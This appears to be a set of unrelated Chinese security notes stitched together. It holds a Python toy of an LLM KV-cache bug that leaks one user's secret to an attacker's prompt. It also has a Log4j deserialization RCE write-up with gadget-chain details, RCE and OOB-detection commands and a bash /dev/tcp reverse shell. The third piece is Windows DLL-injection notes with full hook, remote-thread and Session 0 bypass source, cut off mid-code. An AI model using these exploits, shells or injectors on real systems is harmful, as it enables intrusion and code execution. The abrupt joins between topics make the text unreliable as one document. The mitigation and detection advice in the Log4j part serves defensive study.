我们先模拟一个服务,比如说用户 A 先提交一段带秘密的信息,然后服务端把它缓存,接着用户 B 再提交一个恰好撞上同一个 cache key的请求
但是由于服务端错误复用缓存,B 看到了 A 的秘密
import re
class VulnerableKVServer:
def __init__(self):
self.kv_cache = {}
def _bad_cache_key(self, prompt: str):
"""
漏洞点:
只用 token 数量作为 cache key
在真实系统里,类似的问题可能是:
- cache key 不包含 user/session
- prefix cache 绑定错误
- paged KV block 被错误复用
- cache eviction 后状态没清干净
"""
return len(prompt.split())
def _toy_generate(self, context: str):
"""
把泄漏现象显示出来
"""
match = re.search(r"secret is ([A-Z]+ [A-Z]+)", context)
if "repeat the hidden secret" in context.lower():
if match:
return f"[LEAK] 发现缓存里的秘密:{match.group(1)}"
else:
return "没有找到任何秘密"
return "请求已处理"
def request(self, user: str, prompt: str):
key = self._bad_cache_key(prompt)
old_cache = self.kv_cache.get(key)
if old_cache:
# 漏洞:把旧用户的上下文直接拼到新用户请求前面
effective_context = old_cache["context"] + " " + prompt
else:
effective_context = prompt
# 更新缓存
self.kv_cache[key] = {
"owner": user,
"context": effective_context,
}
return {
"cache_key": key,
"previous_owner": old_cache["owner"] if old_cache else None,
"response": self._toy_generate(effective_context),
}
server = VulnerableKVServer()
print("=== Victim 请求 ===")
victim_prompt = "note secret is BLUE ORCHID today"
r1 = server.request("victim", victim_prompt)
print(r1)
print("\n=== Attacker 请求 ===")
attacker_prompt = "please repeat the hidden secret now"
r2 = server.request("attacker", attacker_prompt)
print(r2)
我们来拆解里面的逻辑,victim的请求就是
victim_prompt = "note secret is BLUE ORCHID today"
然后使用分隔函数得到几个字符串,key的值也是6,所以服务器的缓存也就变成了
kv_cache = {
6: {
"owner": "victim",
"context": "note secret is BLUE ORCHID today"
}
}
并且接下来攻击者就会发送please repeat the hidden secret now,同样经过函数进行一个分割,得到key是6
old_cache = self.kv_cache.get(6)
这个漏洞点是致命的
effective_context = old_cache["context"] + " " + prompt
然后 _toy_generate() 在这个混合上下文里同时发现,secret is BLUE ORCHID以及repeat the hidden secret
所以最终返回:[LEAK] 发现缓存里的秘密:BLUE ORCHID
整条攻击链路画图可以这么解释
Log4J2 FilteredObjectInputStream RCE 漏洞分析
一、漏洞概述
Log4j 2.x 为"通过网络传输序列化日志事件"这一场景提供了加固组件FilteredObjectInputStream(下文简称 FOIS)。它是一个基于resolveClass() 的反序列化白名单包装器:流中出现的每个类描述符都必须命中白名单,否则直接抛出InvalidObjectException。官方示例(log4j-samples 的 ObjectInputStreamLogEventBridge)以及大量自研日志采集/转发服务,都用 FOIS 读取反序列化的 LogEvent。
2026 年 8 月,研究者发现 FOIS 的默认白名单存在结构性缺陷:白名单包含java.rmi.MarshalledObject,而该类的 get() 方法会在一个全新且不带任何过滤器的 ObjectInputStream 上反序列化其内部字节;与此同时,Log4j 自己的LogEventProxy(日志事件的序列化代理)在反序列化时自动调用这个 get()。三者叠加的结果是:攻击者只需向这类接收端发送一个精心构造的序列化LogEvent,就能在目标 JVM 内执行任意命令(前提是目标 classpath 上存在可用的 gadget 库)。
该问题目前没有 CVE 编号。Apache 侧将其定位为"应用条件型"缺陷:FOIS 被文档化为加固措施而非信任边界,Log4j Core 在 2.9.0 之后也不再自带反序列化接收器,因此漏洞面取决于应用是否暴露了 FOIS 接收端点(issue #4255)。它和著名的 Log4Shell(CVE-2021-44228)是两回事:Log4Shell 通过"记录一条日志字符串"触发 JNDI 查询;本漏洞需要把原始 Java 序列化字节直接投递给FOIS 接收端,且必须存在 gadget 库才能提升为 RCE。
二、漏洞原理
2.1 FOIS:只检查"看得见"的类
FOIS 继承 ObjectInputStream,仅重写 resolveClass()。流中每个类描述符都要过一遍默认白名单 SerializationUtil.REQUIRED_JAVA_CLASSES:log4j自身包、java.lang.*、java.util.*、java.math.BigDecimal/BigInteger,以及问题点 java.rmi.MarshalledObject。
// log4j-api 2.24.3, SerializationUtil
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
"java.math.BigDecimal",
"java.math.BigInteger",
"java.rmi.MarshalledObject", // ← 问题点
...);
// FilteredObjectInputStream
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String name = SerializationUtil.stripArray(desc.getName());
if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
throw new InvalidObjectException(
"Class is not allowed for deserialization: " + name);
}
return super.resolveClass(desc);
}
关键局限:resolveClass() 只能看到流里出现的类描述符。如果一个类把内容藏在"不透明字节数组"里,过滤就对它内部完全失效。
2.2 MarshalledObject:白名单里的"黑箱"
java.rmi.MarshalledObject 的用途是把对象序列化后以不透明字节存储(RMI 传输场景)。它有 hash、locBytes、objBytes 三个字段,其中objBytes 就是一段完整的序列化流。FOIS 只能看到类名 MarshalledObject和 byte[] 字段描述符,objBytes 里是什么类一概看不见。而 get() 的实现是:
public T get() throws ... {
...
ObjectInputStream ois = new ObjectInputStream(bi); // 全新流,无过滤器
return (T) ois.readObject();
}
也就是说:任何塞进 objBytes 的对象图,都会在一个完全无过滤的流里被反序列化。
2.3 LogEventProxy:Log4j 自带的触发器
Log4j 2.8 起,LogEvent 序列化时通过 writeReplace() 变为Log4jLogEvent$LogEventProxy,其 marshalledMessage 字段正是一个MarshalledObject<Message>。反序列化时:
// Log4jLogEvent$LogEventProxy
private Message message() {
if (marshalledMessage != null) {
try {
return marshalledMessage.get(); // 无过滤反序列化
} catch (final Exception ex) {
// ignore me —— 吞掉一切异常
}
}
return new SimpleMessage(messageString);
}
readResolve() 会调用 message()。因此接收端只需要执行FOIS.readObject() 一个动作,内层 gadget 就会被 Log4j 自己的代码自动触发;即使内层反序列化抛出异常,也会被吞掉并回退到 SimpleMessage——利用是"静默"的,接收端日志照常、业务响应照常。
2.4 攻击链总览
攻击者负载(AC ED 00 05 ...)
└─ LogEventProxy FOIS 放行(log4j 包)
└─ MarshalledObject FOIS 放行(白名单类)
└─ objBytes: byte[] FOIS 放行(原语数组,内容不透明)
└─ 任意 gadget(CC6 / URLDNS / 其他)
由 MarshalledObject.get() 在无过滤流中反序列化
HashSet.readObject
└─ TiedMapEntry.hashCode
└─ LazyMap.get
└─ ChainedTransformer
└─ InvokerTransformer
└─ Runtime.exec(cmd)
利用是否成立取决于两层:一是绕过本身(与 log4j 版本强相关),二是内层gadget(与 classpath 上的库强相关)。两者相互独立。
三、攻击复现
以下复现使用的 LogRelay 靶场(靶场地址见文末。logrelay-ctf):服务端为Log4j 2.24.3 + commons-collections 3.2.1 的 JDK 21 容器,暴露 TCP 5514采集端口与 HTTP 8081 状态端口;攻击端为纯 Python 手写 Java 序列化字节,无 JVM、无 ysoserial 依赖。
3.1 协议与侦察
采集端口使用自定义分帧协议 LG01:
4 字节魔数 "LG01" | 1 字节版本 0x01 | 4 字节大端长度 N | N 字节负载
负载 = 一个 Java 序列化对象流。服务端每收到一帧,就用 FOIS 读取并尝试还原为 LogEvent。GET /health 返回frames/accepted/rejected 计数,是观察"静默成功"的窗口。
3.2 检测:URLDNS
URLDNS 是纯 JDK 链(HashMap → java.net.URL),目标不需要任何 gadget 库。把它塞进信封发送后,反序列化会触发一次对攻击者可控域名的 DNS 查询,用OOB/DNSLog 平台(dnslog.cn 或 interactsh)即可确认"内层流确实无过滤":
python3 tools/logrelay.py detect -t 127.0.0.1 -p 5514 --oob YOUR-ID.oast.pro
3.3 RCE:CC6
CC6 链(CommonsCollections6)需要目标 classpath 上有 commons-collections3.2.1 及更早版本。构造要点有三:
外层信封固定为 LogEventProxy → MarshalledObject → objBytes,内层塞入CC6 的序列化字节;
链的触发点在 HashSet.readObject():TiedMapEntry.hashCode() →LazyMap.get() → ChainedTransformer → 三个 InvokerTransformer 反射调用 Runtime.getRuntime().exec(cmd);
字节级细节(本地用 JDK 生成参考流逐一核对过):invoke 的第二个参数类型必须是 Object[].class 而非 Class[].class;exec 的 iArgs必须是"包了一层 String[] 的 Object[]"。
命令执行:
python3 tools/logrelay.py rce -t 127.0.0.1 -p 5514 -c "touch /tmp/PWNED"
反弹 shell(注意 Ubuntu 的 /bin/sh 是 dash,不识别 /dev/tcp 虚拟路径,必须用 bash -c 'bash -i >& /dev/tcp/H/P 0>&1' 让 bash 解析整段命令):
# 终端 1
nc -lvnp 4444
# 终端 2
python3 tools/logrelay.py rce -t 127.0.0.1 -p 5514 \
--lhost host.docker.internal --lport 4444
3.4 对照组:证明绕过点确实在 FOIS 白名单
用 tools/proof.py 对同一靶机做三组对照(基于 /health 计数判定):
同一 gadget 有/无信封结果完全相反,说明:拦截确实由 FOIS 的 resolveClass白名单执行,绕过点是白名单看不见的信封内部。proof.py 还会解析并打印外层对象图里 FOIS 可见的类名,实测只有三个:
org.apache.logging.log4j.core.impl.Log4jLogEvent$LogEventProxy
java.rmi.MarshalledObject
[B
所有 gadget 类只存在于 objBytes 的内嵌序列化流中,外层解析根本不会经过它们——这就是 resolveClass 型白名单的盲区。
3.5 关键路径阻断实验
给服务端 JVM 加 -Djdk.serialFilter=!java.rmi.MarshalledObject 后,同一payload 全部变为 rejected(InvalidClassException: filter status:REJECTED)。该实验同时证明两点:MarshalledObject 处于攻击的必经路径上,且 FOIS 的过滤机制本身确实在生效。
把受害端 commons-collections 换成 3.2.2 再打 C3,预期 accepted 照旧但命令不执行(静默)——说明绕过与 gadget 版本无关,RCE 依赖的是 gadget 库。
四、受影响版本
gadget 依赖:commons-collections 3.2.1 及更早可被 CC6 利用;3.2.2 起 InvokerTransformer 增加反序列化保护(链静默失效)。其他未加固的gadget 库(Groovy、BeanShell、Spring 等)同样可以替代,因此"没有commons-collections"并不能作为安全依据。
JDK 版本:绕过与 JDK 版本无关,JDK 8 至 21 均验证可触发(gadget 链在较新 JDK 上需要 --add-opens 的只是ysoserial 本地生成环节,不影响目标侧执行)。
五、缓解措施
5.1 结构性修复(首选)
停止用 Java 序列化传输日志:改用 JSON / RFC 5424 布局 + TLS;
不对外暴露反序列化日志接收端;确需暴露时置于可信网络并加认证;
审计并移除不必要的 gadget 依赖(commons-collections 等);
上游修复方向:把 MarshalledObject 移出 REQUIRED_JAVA_CLASSES,并让LogEventProxy 改用 SerializationUtil.writeWrappedObject() /readWrappedObject()(ObjectMessage 已采用的正规模式,内层流同样走过滤)。
5.2 JVM 过滤(应急)
-Djdk.serialFilter='!java.rmi.MarshalledObject'
可靠、可落地,但同时拒绝合法的序列化 LogEvent(Log4j 自己的传输也依赖MarshalledObject),属于"有效但不透明"的缓解。
5.3 不可靠的做法
maxdepth/maxbytes 通用过滤只能挡住深度较大的链(如 CC6),浅层 gadget和绕过本身依然成立;
仅升级 log4j 小版本无效:受影响区间内(2.11.0–2.26.1)默认白名单一致。
5.4 检测思路
URLDNS + OOB DNS 探测:无需 gadget 库即可确认内层流是否无过滤;
对自建日志接收端观察"静默接受"信号(如本靶场的 accepted 计数、异常回退日志),与裸 gadget 对照组比对;
用 -Djdk.serialFilter 阻断实验验证修复是否生效。
参考
apache/logging-log4j2#4255(https://github.com/apache/logging-log4j2/issues/4255)
apache/logging-log4j2 discussion #4168(https://github.com/apache/logging-log4j2/discussions/4168)
LogRelay CTF 靶场(https://github.com/yijinglab/log4j2-fois-rce)
Windows注入技术笔记
全局钩子注入
Windows中的大部分应用程序依赖于消息机制,其中含有消息过程函数,而Windows操作系统的钩子机制用于截获和监视系统中的消息。
依据钩子的作用范围,可以分为局部钩子和全局钩子:
局部钩子:针对某个线程
全局钩子:作用于整个系统的消息
WinAPI介绍
关于全局钩子注入Win32 API介绍:
HHOOK WINAPI SetWindowsHookEx{
_In_ int idHook, // 钩子程序类型
_In_ HOOKPROC lpfn, // 指向钩子程序的函数指针
_In_ HINSTANCE hMod, // 已加载的DLL或EXE实例的句柄,HMODULE句柄是通过LoadLibrary或GetModuleHandle等函数加载模块时返回
_In_ DWORD dwThreadId // 与钩子相关的线程标识符,如果参数为0表示与系统中所有线程相关联
}
// 返回值:
// 设置成功则返回钩子过程的句柄
// 设置失败则返回值为NULL
将程序定义的钩子函数(HOOKPROC lpfn)安装到挂钩链中,安装钩子程序可以监视系统是否存在某些类型的事件,这些事件与特定线程或调用线程所在桌面中的所有线程相关联
操作过程
生成DLL文件
新建一个DLL空项目
预编译头pch.h中设置
该文件是预编译标头文件,仅仅编译一次
#ifndef PCH_H
#define PCH_H
// 添加要在此处预编译的标头
#include "framework.h"
// 设置钩子函数
extern "C" _declspec(dllexport) int SetHook();
// 钩子回调函数
extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
// 卸载钩子函数
extern "C" _declspec(dllexport) BOOL UnsetHook();
#endif //PCH_H
在pch.cpp文件中实现上述函数
// pch.cpp: 与预编译标头对应的源文件
#include "pch.h"
#include <Windows.h>
#include <stdio.h>
// 当使用预编译的头时,需要使用此源文件,编译才能成功。
extern HMODULE g_hDllModule; // 已经加载的DLL的句柄
// 为DLL创建一个数据段,然后再对程序的链接器进行设置,把指定的数据段链接为共享数据段
#pragma data_seg("mydata") // 相当于use mydata的这种感觉
HHOOK g_hHook = NULL; // Hook句柄(注意与HMODULE的区别)
#pragma data_seg() // 恢复默认的数据段设置
#pragma comment(linker, "/SECTION:mydata,RWS") // 告诉链接器设置为RWS
// 回调函数
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) {
return ::CallNextHookEx(g_hHook, code, wParam, lParam);
// 将当前钩子传递给钩子链中的下一个钩子
}
// 设置钩子
BOOL SetHook() {
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,
(HOOKPROC)GetMsgProc, g_hDllModule, 0);
if (g_hHook == NULL) {
return FALSE;
}
return TRUE;
}
// 卸载钩子
BOOL UnsetHook() {
if (g_hHook)
{
// 直接 :: 表示从全局作用域解析
::UnhookWindowsHookEx(g_hHook);
}
return TRUE;
}
然后在DLL的入口文件dllmain.cpp中设置
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
HMODULE g_hDllModule = NULL;
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: // 由于进程启动或调用LoadLibrary, DLL被加载到当前进程的虚拟地址空间中, 会进入如下路由
{
g_hDllModule = hModule;
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
在Release,X86下生成:
可以发现对应文件夹下生成dll文件
测试
新建一个CPP空项目
// 全局钩子注入
#include <iostream>
#include <Windows.h>
int main()
{
// 声明函数指针, 返回值为BOOL, 参数值为空
typedef BOOL(*typedef_SetGlobalHook)();
typedef BOOL(*typedef_UnsetGlobalHook)();
HMODULE hDll = NULL; // DLL句柄
typedef_SetGlobalHook SetGlobalHook = NULL; // 设置全局钩子的句柄
typedef_UnsetGlobalHook UnsetGlobalHook = NULL; // 卸载全局钩子的句柄
BOOL bRet = FALSE;
do {
// 加载DLL,获得句柄实例
hDll = ::LoadLibraryW(TEXT("C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll"));
// 异常检测
if (hDll == NULL) {
printf("LoadLibrary Error[%d]\n", ::GetLastError());
break;
}
// 从hDll句柄对应文件中加载SetHook地址,并把该地址位置上的数据视为typedef_SetGlobalHook函数(返回函数指针)
SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");
if (SetGlobalHook == NULL) {
printf("GetProcAddress Error[%d]\n", ::GetLastError());
break;
}
bRet = SetGlobalHook(); // 运行函数 -- 设置全局钩子
if (bRet) {
printf("SetGlobalHook OK.\n");
}
else {
printf("SetGlobal Hook Error.\n");
}
system("pause");
// 同理获取卸载全局钩子
UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");
if (UnsetGlobalHook == NULL) {
printf("GetProcAddress Error[%d]\n", ::GetLastError());
break;
}
// 卸载全局钩子
UnsetGlobalHook();
printf("UnsetGlobalHook OK. \n");
} while (FALSE);
system("pause");
return 0;
}
远程线程注入
远线程注入是指一个进程在另一个进程中创建线程的技术
核心函数主要如下:
LoadLibrary:将指定的DLL文件动态加载到进程空间
CreateRemoteThread:在目标进程的虚拟地址空间中创建运行的线程
大致原理:
获得LoadLibrary函数的地址
虽然Windows的ASLR机制会使得LoadLibrary在每次开机时的地址不同,但对于同个时候Windows的kernel32.dll的加载基址在各个进程中都是相同的,因此LoadLibrary也是相同的。
写入注入的DLL路径字符串
通过OpenProcess打开进程获得句柄,然后调用VirtualAllocEx在目标进程中申请一块内存空间,再调用WriteProcessMemory将恶意DLL路径写入到目标进程的空间地址中
WinAPI介绍
OpenProcess
打开现有的本地进程,获得句柄
HANDLE WINAPI OpenProcess(
_In_ DWORD dwDesiredAccess, //
_In_ BOOL bInheritHandle, // True => 将继承原本进程中已有的句柄
_In_ DWORD dwProcessId // 要打开的进程PID
)
VirtualAllocEx
对指定进程的虚拟地址空间内保留、提交或更改内存的状态
LPVOID WINAPI VirtualAllocEx(
_In_ HANDLE hProcess, // 进程句柄,句柄必须具有PROCESS_VM_OPERATION的权限
_In_opt_ LPVOID lpAddress, // 指定要分配页面所需起始地址的指针,如果为NULL则表示自动分配内存
_In_ SIZE_T dwSize, // 分配的内存大小,以字节为单位
_In_ DWORD flAllocationType, // 内存分配类型
_In_ DWORD flProtect // 要分配的页面区域的内存保护类型
)
WriteProcessMemory
在指定进程的指定可访问的内存区域写入数据
BOOL WINAPI WriteProcessMemory(
_In_ HANDLE hProcess, // 目标进程的句柄
_In_ LPVOID lpBaseAddress, // 要写入数据的内存区域的基地址
_In_ LPCVOID lpBuffer, // 存储数据的缓冲区的基地址
_In_ SIZE_T nSize, // 要写入的字节数
_Out_ SIZE_T *lpNumberOfBytesWritten
)
// 成功则返回值不为NULL
CreateRemoteThread
在指定进程中创建运行的线程
HANDLE WINAPI CreateRemoteThread(
_In_ HANDLE hProcess, // 目标进程的句柄
_In_ LPSECURITY_ATTRIBUTES lpThreadAttributes, // 指向SECURITY_ATTRIBUTES结构的指针,指定了新线程的安全描述符,并确定了子进程是否可以继承返回的句柄
_In_ SIZE_T dwStackSize, // 堆栈的初始大小
_In_ LPTHREAD_START_ROUTINE lpStartAddress, // 指向由线程执行类型为LPTHREAD_START_ROUTINE的应用程序定义的函数指针,并表示了远程进程的起始地址,该函数必须存在于远程进程中
_In_ LPVOID lpParameter, // 指向要传递给线程函数的变量的指针
_In_ DWROD dwCreationFlags, // 控制线程创建的标志,若为0则表示线程在创建后立即执行
_Out_ LPDWORD lpThread // 指向了接收线程标识的变量的指针,如果此参数为NULL,则不返回线程标识符
)
操作过程
生成DLL文件
dllmain.cpp文件
#include "pch.h"
BOOL APIENTRY DllMain(
HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"success!", L"RemoteThreadInjection", MB_OK);
case DLL_THREAD_ATTACH:
MessageBox(NULL, L"success!", L"RemoteThreadInjection", MB_OK);
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
};
return TRUE;
}
然后直接生成dll
测试
核心函数在于远程线程注入_RemoteThreadInjection中:
函数原型设计:我们需要得知远程线程注入的目标进程PID以及执行线程的对应DLL文件位置(采用宽字符串)
DWORD _RemoteThreadInjection(DWORD _Pid, LPCWSTR DllName)
OpenProcess打开进程获得句柄
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
// 异常检查
if (hprocess == NULL) {
printf("OpenProcess Error\n");
return FALSE;
}
VirtualAllocEx API申请内存,该内存存储
_tcslen(DllName)截取的宽字符串长度不包括字符串终止符,所以需要加1,并乘上宽字符的大小以计算出字节数
// 在注入的进程中申请内存
_Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);
pDllAddr = ::VirtualAllocEx(hprocess,NULL,_Size,
MEM_COMMIT, PAGE_READWRITE);
// 第二个参数表示分配页面所需起始地址的指针
// 第四个参数是指内存分配类型,MEM_COMMIT表示在磁盘的分页文件和整体内存中,为指定的预留内存页分配内存
// 第五个参数表示要分配的页面区域的内存保护,如果yem
if (pDllAddr == NULL) {
printf("Process Memory Allocation Error\n");
return FALSE;
}
申请完之后就是使用WriteProcessMemory写数据
BOOL isWriteSuccess = ::WriteProcessMemory(hprocess, pDllAddr, DllName, _Size, NULL);
获取LoadLibraryW的地址
pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"),"LoadLibraryW");
创建线程,并传入参数
hThread = ::CreateRemoteThread(hProcess, NULL, 0, addr, pDllAddr, 0, NULL);
释放资源等操作
完整源码:
// 远程线程注入
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include "tchar.h" // 宽字符
char DLL_PATH[] = "C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll";
// LPCWSTR: long pointer to a wide string
DWORD _RemoteThreadInjection(DWORD _Pid, LPCWSTR DllName) {
// 变量声明
HANDLE hprocess; // 目标进程的句柄
HANDLE hThread;
DWORD _Size = 0;
BOOL Write = 0;
LPVOID pDllAddr = NULL; // 申请内存空间
DWORD DllAddr = 0;
FARPROC pThread;
// 打开进程
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
// 异常检查
if (hprocess == NULL) {
printf("OpenProcess Error\n");
return FALSE;
}
// 在注入的进程中申请内存
_Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);
pDllAddr = ::VirtualAllocEx(hprocess,NULL,_Size,
MEM_COMMIT, PAGE_READWRITE);
// 第二个参数表示分配页面所需起始地址的指针
// 第四个参数是指内存分配类型,MEM_COMMIT表示在磁盘的分页文件和整体内存中,为指定的预留内存页分配内存
// 第五个参数表示要分配的页面区域的内存保护,如果yem
if (pDllAddr == NULL) {
printf("Process Memory Allocation Error\n");
return FALSE;
}
// 向申请的内存写入数据
BOOL isWriteSuccess = ::WriteProcessMemory(hprocess, pDllAddr, DllName, _Size, NULL);
if (isWriteSuccess == FALSE) {
printf("Write Process Memory Error\n");
return FALSE;
}
// 获取LoadLibraryW(支持宽字符)函数地址
pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
// LPTHREAD_START_ROUTINE 是一个函数指针类型,用于指定线程的入口点函数
// 在目标进程中创建线程
hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pDllAddr, 0, NULL);
// hprocess指向了目标进程
// addr表示LoadLibrary的LPTHREAD_START_ROUTINE函数指针
// pDllAddr表示传递给线程函数的变量的对应的指针(传给LoadLibrary的变量)
if (hThread == NULL) {
printf("Create Remote Thread Error\n");
return FALSE;
}
//等待线程函数结束,获得退出码
WaitForSingleObject(hThread, -1);
GetExitCodeThread(hThread, &DllAddr);
// 释放DLL空间
VirtualFreeEx(hprocess, pDllAddr, _Size, MEM_DECOMMIT);
// 关闭句柄
::CloseHandle(hprocess);
return TRUE;
}
int main() {
DWORD _PID = 1220; // 根据实际进程的PID填入
_RemoteThreadInjection(_PID, L"C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll");
}
注入之前:
注入之后:可以观察到其实不止多了DLLInjection.dll文件
突破SESSION 0 隔离的远线程注入
在远程线程注入中,将目标进程改为一些系统服务进程时会发现失败,这是由于存在SESSION 0隔离的安全机制,传统的远程线程注入并不能突破SESSION 0隔离
Session 0隔离机制
参考:https://techcommunity.microsoft.com/t5/ask-the-performance-team/application-compatibility-session-0-isolation/ba-p/372361?ranMID=46131&ranEAID=a1LgFw09t88&ranSiteID=a1LgFw09t88-sZl3oC8zh0wtsoCoffRIew&epi=a1LgFw09t88-sZl3oC8zh0wtsoCoffRIew&irgwc=1&OCID=AIDcmm549zy227_aff_7806_1243925&tduid=(ir__9u
在早期Windows版本中(WinXP,WinServer2003以及之前),所有服务都与登录到控制台的第一个用户(超级管理员)处于同一个会话中,该会话即所谓的Session 0,此时其他非系统服务等同于拥有超级管理员权限来执行,那么此时遭遇劫持就直接最高权限了。
此后在Windows内核6.0版本后引入了Session 0隔离机制,只有系统进程和服务才会处于session 0中运行,用户登录到会话1,后续用户登录到2,3 ...
Session 0隔离机制使得当创建一个进程后不立即执行,而是先挂起进程,在查看运行的进程所在的会话层之后再决定是否恢复进程运行。
WinAPI介绍
原理与远程线程注入的原理大致相同,但是使用的WinAPI是比CreateRemoteThread更为底层的ZwCreateThreadEx函数来创建线程
// win64
DWORD WINAPI ZwCreateThreadEx{
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown
}
// win32
DWORD WINAPI ZwCreateThreadEx{
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnknown
}
操作过程
// 突破session 0隔离机制注入DLL
#include <Windows.h>
#include <stdio.h>
#include <iostream>
//#include "tchar.h"
// 使用typedef对ZwCreateThreadEx创建函数指针
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL flag = FALSE;
// OpenProcessToken 打开与进程关联的token
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
int valueGetLastError = GetLastError();
flag = (valueGetLastError == ERROR_SUCCESS);
CloseHandle(hToken);
}
return flag;
}
BOOL BypassSession0Injection(DWORD _PID, const char* DLLPath) {
// 变量声明
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC LoadLibraryA_Addr = NULL;
HANDLE hRemoteThread = NULL; // 远程线程
DWORD dwStatus = 0;
// 提权 -- 启用SeDebugPrivilege权限
//BOOL isPrivieged = EnableDebugPrivilege();
//if (isPrivieged == FALSE) {
// printf("Can't get SeDebugPrivilege!\n");
// return FALSE;
//}
// 由于具有SeDebugPrivilege,所以可以对系统服务设置为PROCESS_ALL_ACCESS
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _PID);
if (hProcess == NULL) {
printf("Open Process Error!\n");
return FALSE;
}
// 申请内存
// 申请内存的大小
dwSize = ::strlen(DLLPath) + 1;
// ::lstrlen 对于宽字符串
// ::strlen 对于字符串
// 申请,返回基地址
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (pDllAddr == NULL) {
printf("Virtual Allocation Error\n");
return FALSE;
}
// 写入DLL路径
BOOL isWriteSuccess = ::WriteProcessMemory(hProcess, pDllAddr, DLLPath, dwSize, NULL);
if (isWriteSuccess == FALSE) {
printf("Write Process Memory Error\n");
return FALSE;
}
// 加载ntdll.dll
HMODULE hNtdDll = ::LoadLibrary(L"ntdll.dll");
if (hNtdDll == NULL)
{
printf("Load ntdll.dll Error\n");
}
// 获取LoadLibraryA函数地址
LoadLibraryA_Addr = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
if (LoadLibraryA_Addr == NULL)
{
printf("Get the address of LoadLibrary Error!\n");
return FALSE;
}
// 获得ZwCreateThreadEx函数地址
// 使用函数指针类型的变量来接收
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdDll, "ZwCreateThreadEx");
if (ZwCreateThreadEx == NULL) {
printf("Get the address of LoadLibrary Error!\n");
return FALSE;
}
// 使用ZwCreateThreadEx创建远程线程,实现DLL注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS,
NULL, hProcess, (LPTHREAD_START_ROUTINE)LoadLibraryA_Addr, pDllAddr,
0, 0, 0, 0, NULL);
if (hRemoteThread == NULL) {
printf("ZwCreateThread Error!\n");
return FALSE;
}
// 关闭句柄
::CloseHandle(hProcess); // 对于HANDLE
::FreeLibrary(hNtdDll); // 对于HModule
return TRUE;
}
int main()
{
#ifdef _WIN64
BOOL flag = BypassSession0Injection(3788, "C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll");
#else
BOOL flag = BypassSession0Injection(4740, "C:\\Users\\xx\\Desktop\\artifact_x86.dll");
#endif
if (flag == FALSE) {
